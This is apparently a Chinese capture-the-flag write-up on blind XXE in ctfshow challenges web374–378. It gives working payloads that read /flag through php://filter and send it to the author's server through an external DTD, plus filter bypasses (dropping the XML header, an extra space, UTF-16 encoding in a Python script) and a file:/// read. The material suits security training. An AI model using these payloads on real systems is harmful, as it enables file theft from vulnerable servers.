xxe漏洞——无回显(ctfshow web374——378)

ctfshow——web374

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

比上题少了几行代码,分别是
$creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow;

导致了这题可以注入实体但是没有回显,所以我们考虑数据外带。访问一个请求,把数据加到请求上。

payload

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
//参数实体 运用php伪协议读取flag
    <!ENTITY  % myurl SYSTEM "http://*******:1338/test.dtd">
//参数实体 外部引用自己vps上的dtd文件
    %myurl;
//引用参数
]>
<root>
1
</root>

在自己的vps上的test.dtd文件脚本

<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://121.43.149.212:1337/%file;'> ">
%all;
%send;


//解析后相当于
<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://121.43.149.212:1337/%file;'> ">
<!ENTITY &#x25; send  SYSTEM 'http://121.43.149.212:1337/%file;'> 
http://121.43.149.212:1337/%file;

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
//参数实体 运用php伪协议读取flag

http://121.43.149.212:1337/%file;
]>

最后的引用来引用去的代码就相当于

请求访问攻击者服务器的1337端口

并且携带%file的参数

我们打开1338端口 使靶机能够正常访问

再监听1337端口

查看我们flag的值

解码可得flag

web375


error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

相比上题过滤了<?xml version="1.0">

但是我看我上题的payload也没有<\?xml version="1.0">

证明就是可以直接不要xml头然后绕过

绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

web376

和上面那题比多过滤了大小写

我们直接不加头

管他

web377


error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

比上题多ban了http

用python发请求

多个编码

import requests
url = 'https://eb566b22-4657-4de5-b251-7ddaded69bf8.challenge.ctf.show/'
data = '''
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://121.43.149.212:1338/test.dtd">

    %myurl;
]>
'''
r = requests.post(url=url,data=data.encode('utf-16'))

web378

和那个xxe lab撞js了;;;

用之间文件任意读取脚本


<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>1</password></user>

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值